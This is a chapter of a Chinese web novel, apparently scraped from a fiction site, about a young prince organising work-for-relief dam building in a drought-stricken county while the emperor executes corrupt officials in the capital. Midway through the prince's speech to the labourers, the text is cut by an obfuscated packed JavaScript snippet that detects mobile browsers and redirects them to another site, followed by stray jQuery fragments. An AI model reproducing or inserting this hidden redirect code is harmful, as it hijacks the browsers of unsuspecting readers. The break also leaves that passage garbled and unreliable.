半个月后，般澈的队伍终于抵达鄞州县城。
眼前的景象，比想象的更荒凉。县城城墙低矮破败，街道冷清，百姓面有菜色。土地干裂的痕迹已经开始显现，远处山峦一片枯黄。
鄞州县令姓吴，一个五十多岁、满面风霜的老举人，早已得到朝廷文书，忐忑不安地将般澈一行迎入县衙。衙署简陋，后院更是荒草丛生。
吴县令看着眼前这位过分年轻的皇子，心情复杂。天幕预言、皇子亲至……每一样都让他心惊肉跳。做好了未必有功，做差了，第一个掉脑袋的就是他。
般澈没摆皇子架子，直接让沈墨摊开地图，李九章摆开账册。
“吴县令，闲话不提。眼下县中，缺水最甚、农户最穷、青壮闲散最多的，是哪几处？”般澈开门见山。
吴县令愣了一下，连忙指点地图：“回殿下，是城西三十里的张家沟、李家庄一带，还有城北五十里的旱塬区。那里地贫，井深，往年一旱就绝收，青壮多外出扛活，今年……怕是不好找活路了。”
“就这两处。”般澈手指点在地图上，“明日一早，请吴县令派人引路，我们去看看。另外，请立即张贴安民告示，内容我稍后给你。要点有三：一，朝廷知晓旱情，特派员前来；二，将以工代赈，招募民夫兴修水利、垦殖荒地，每日管两餐，另计工分，可折口粮或少量工钱；三，应募者需确系本地贫苦农户，由村正里长作保。”
吴县令记下，犹豫道：“殿下，这……管两餐，还要计工分折粮钱，朝廷拨下的钱粮恐怕……”
“钱粮我自有计较。”般澈打断他，“你只需照办，并协助维持秩序。另外，县衙库中还有多少存粮？账册拿来。”
吴县令不敢怠慢，命人取来账册。李九章接过，飞速翻阅，眉头越皱越紧。账面存粮数字和实际仓廪情况，明显对不上。
“吴县令，”李九章抬起头，少年人的脸上没什么表情，声音却清冷，“账面应有陈谷一千二百石，实际仓中恐不足八百石。差缺何在？”
吴县令腿一软，扑通跪倒：“殿下明鉴！去岁……去岁征收时便有不足，加之鼠耗虫蚀，历年积亏……下官、下官绝未贪墨啊！”他额上冷汗涔涔，京城连斩贪官的消息，他自然也听说了。
般澈看着他，沉默片刻。这种积年亏空，在地方上太常见了，未必全是县令一人之过。但现在，他没时间也没精力去彻查陈年旧账。
“以往之事，暂且不究。”般澈缓缓道，“但从今日起，县衙所有钱粮出入，须由我派员协同登记，每日核对，账目公开。你若配合，安稳度过今次，或可既往不咎。若再有差池，”他顿了顿，声音不高，却带着寒意，“京城菜市口，不缺你一颗人头。”
吴县令浑身一颤，连连磕头：“下官明白！下官一定尽心竭力，配合殿下！”
“起来吧。”般澈让他起身，“现在，带我们去粮仓。”
接下来的两天，般澈一行人马不停蹄。实地勘察了张家沟和李家庄的地形水源，沈墨初步选定了两处适合修建小型蓄水塘坝的位置。走访了旱塬区的村落，看到的是更多面黄肌瘦的百姓和干涸的土地。
安民告示已经贴出，但应者寥寥。百姓疑虑，观望，不相信天上会掉下这样的好事。
转机出现在第三天。
清晨，县衙外忽然来了几十个衣衫褴褛的汉子，领头的是个独臂的老者，自称是李家庄的里长。
“官爷，告示上说的，管饭，还记工分，是真的？”老者声音沙哑，眼里混浊却带着最后的期盼。
“是真的。”般澈亲自走出来，“你是李家庄里长？村里能出多少劳力？可有手艺？”
老者看着般澈年轻却沉静的脸，又看看他身后那些不像官老爷、倒像干活人的随从，咬了咬牙：“庄子里能动的男丁，还有力气大的妇人，加起来能有百十号。手艺……会挖土，垒石头，算不算？”
“算。”般澈点头，“只要肯下力气，就算。今日就可报名登记，明日开工。开工前，先发一顿饱饭。”
“饱饭”两个字，像火星掉进干草堆。
消息在李家庄炸开。很快，张家沟、旱塬区其他村子的人也闻风而来。县衙外排起了长队。小德子带着人登记名册，李九章负责核对发放第一顿“安家粮”——每人两个杂面馍，一碗稀粥。
粮食是从县衙仓廪和般澈自带物资中挤出来的，不多，但足以让饿久了的人眼睛发绿。
第四天，第一批工程——李家庄蓄水塘坝——正式开工。
没有隆重的仪式，般澈和沈墨站在选定的坝址前，对着聚拢过来的百余名民夫，直接开始分派。
“会看土挖沟的，跟这位沈先生。”
“力气大能抬石的，到这边。”
“妇孺负责搬运小石、递送工具、烧水做饭。”
“每十人一队，选一临时队长，负责领工具、记出工。”
“每日收工，凭队长条子，到这里领当日工分牌，凭牌明日换口粮。”
规矩简单明了。工具是改进过的铁锹、镐头，虽然还是简陋，但比百姓自家的顺手。赵匠人和几个老兵穿梭在人群中，指导如何更省力地使用。
开工第一天，效率不高，混乱不少。但到了下午，秩序慢慢建立起来。因为每个人都知道，干完活，真的能领到代表口粮的竹牌。
傍晚，收工。民夫们拖着疲惫的身子，聚到临时搭建的工分登记处。李九章和小德子等人，对照着各队长的条子，飞快地计算、发放刻有不同记号的竹牌。旁边，大锅里熬着稠粥，蒸着馍，香气飘散。
当第一个民夫捧着热粥和杂面馍，蹲在地上狼吞虎咽时，更多的人眼眶红了。
这不是施舍，这是他们用汗水换来的。
希望，就像干裂土地里冒出的第一点绿芽，艰难却顽强地钻了出来。
消息在鄞州县飞快传开。更多的村庄，更多的闲散劳力，甚至是附近州县听到风声的流民，开始向李家庄、张家沟汇聚。
压力，也随之而来。
人多了，粮食消耗剧增。十五万两银子看似不少，但购买粮食、工具、支付必要开销，如流水般花出去。李九章的账本记得密密麻麻，眉头越锁越紧。
更麻烦的是，人员庞杂，难免混进偷奸耍滑、甚至意图滋事之徒。工地秩序，粮食物资看守，都成了问题。
就在工程进行到第十天，第一起恶性事件发生了。
深夜，存放部分粮食和工具的临时仓库遭窃。看守的两名老兵被人打晕，虽未致命，但粮食被盗走十余袋，几件重要工具丢失。
消息报到般澈这里时，天还没亮。
他脸色沉静，眼底却有寒光闪过。
“查。”只有一个字。
小德子和禁军护卫头领立刻行动。现场痕迹杂乱，但很快锁定了几个可疑对象——是最近从邻县流窜过来的几个青皮无赖，混在民夫中，出工不出力，眼珠子总往仓库瞟。
人很快被揪了出来，赃物也在一处荒草丛中找到部分。
清晨，工地开工前。
所有民夫被召集到坝址前的空地上。中间，跪着那三个被绑得结结实实的窃贼。旁边，是找回的粮食和工具。
般澈站在一块高石上，目光扫过黑压压的人群。经过这些天的劳作和饱饭，许多人脸上有了点活气，但此刻都屏息凝神，带着惊惧和好奇。
“诸位乡亲，”般澈的声音不大，却清晰地传开，“朝廷派我来，是给大家一条活路，一起熬过旱灾。这活路，靠的是我们自己的力气，是公平和规矩。”
他顿了顿，指向地上跪着的三人：“但他们，不想出力，只想偷窃。偷的，是大家明日干活的口粮，是修坝保命的工具。他们偷走的，不是我的东西，是你们每个人碗里的粥，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997223|192347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们妻儿老小的指望！”
人群骚动起来，看向那三人的目光充满了愤怒。
“按朝廷律法，盗窃官仓物资，重者可判流放甚至斩首。”般澈缓缓道，“但今日，我不按官法，按我们工地的规矩。”
他看着那三人：“你们三人，偷盗工粮工具，人赃并获。按规，逐出工地，永不录用，所盗物资折价，从你们之前所得工分中扣除，不足部分，以役抵偿。”
这个处罚，看似比官法轻，但对这些指望工地活命的人来说，逐出工地、扣光工分，等于断了生路。
那三人脸色惨白，连连磕头求饶。
般澈不为所动，继续道：“但，偷盗之事，非止于此。看守疏忽，亦有责任。”他看向那两名被打晕的老兵，“你二人失职，罚扣三日工分，调离看守之职，去干最苦的挖土活。”
老兵羞愧低头领罚。
“还有，”般澈的目光再次扫向所有人，“今日起，工地立新规。每队民夫，互相监督检举。凡有偷盗、破坏、滋事者，队中知情不报，全队连坐，扣罚工分！举报属实者，有赏！”
连坐！举报有赏！
人群彻底安静了，人人脸色肃然。这意味着，谁再想干坏事，不仅自己倒霉，还会连累同队几十号人没饭吃。而身边的人，为了自己的口粮，也会盯着你。
“规矩立下了，”般澈最后道，“望诸位共守。我们在这里，是为自己，为家人挣一条活路。活路，容不下蛀虫。”
他挥挥手：“带下去，行罚。然后，开工！”
那三人被拖走，哭嚎声渐渐远去。人群沉默地散去，回到各自的岗位。但气氛明显不同了，多了一份紧绷的纪律，少了一些散漫躁动。
接下来的几天，工地秩序井然，效率竟隐隐有所提升。小偷小摸绝迹，甚至有人主动举报了一起私藏工具的苗头。
鄞州县城的吴县令，听闻此事，暗暗咂舌。这位九皇子，年纪轻轻，手腕却硬得很。恩威并施，规矩立得明白，处罚也毫不含糊。比起京城传来的血腥杀戮，这番处置看似温和，实则同样凌厉，直指人心。
他知道，这位殿下，恐怕比那些只知道砍头的京官，更难对付。
而此刻的京城，杀戮仍在继续。
漕运、工部的案子，牵出了户部一名郎中，其在拨付一笔河工款项时收受巨额贿赂，导致工程偷工减料，去年一场小汛就冲垮了新修的堤段。
皇帝震怒。
这一次，他没有立刻批斩。而是下旨，将此郎中及其主要行贿的商人，押赴去年决堤的河段旁，公开审判。
审判当日，河岸旁聚集了众多被那次决堤殃及的百姓。
罪状宣读完毕，皇帝特使当众宣判：“……贪墨河工款，致使堤防不固，黎民受灾，罪同祸国！依律，斩立决！并，抄没家产，半数赔偿受灾百姓！”
刽子手刀落，血溅河滩。
围观的百姓先是惊骇，随即爆发出震天的哭喊和叫好声。有失去亲人的灾民跪地磕头，有被毁了田地的农户痛哭流涕。
这一次的“杀”，不仅仅是为了震慑官吏，更是为了收拢民心，为了昭示朝廷“惩贪安民”的决心。
消息再次以最快速度传遍天下。
西北鄞州工地上的般澈，也收到了京城来的密报。他看着简报上“河畔斩贪，以慰灾民”的字样，沉默许久。
父皇在京城以血开路，他在西北以工聚心。一在朝，一在野；一刚猛，一绵长。目的却是一样的：在这天灾人祸交织的困局里，为这个王朝，撬开一道生缝。
他将密报收起，望向远处干裂的黄土和正在缓慢成型的堤坝轮廓。
坝要一层层夯，路要一步步走。
血已流了，工已开了。
接下来，就看这人心，能不能真的拢住；看这生机，能不能真的从这片干旱的土地上，挣扎出来了。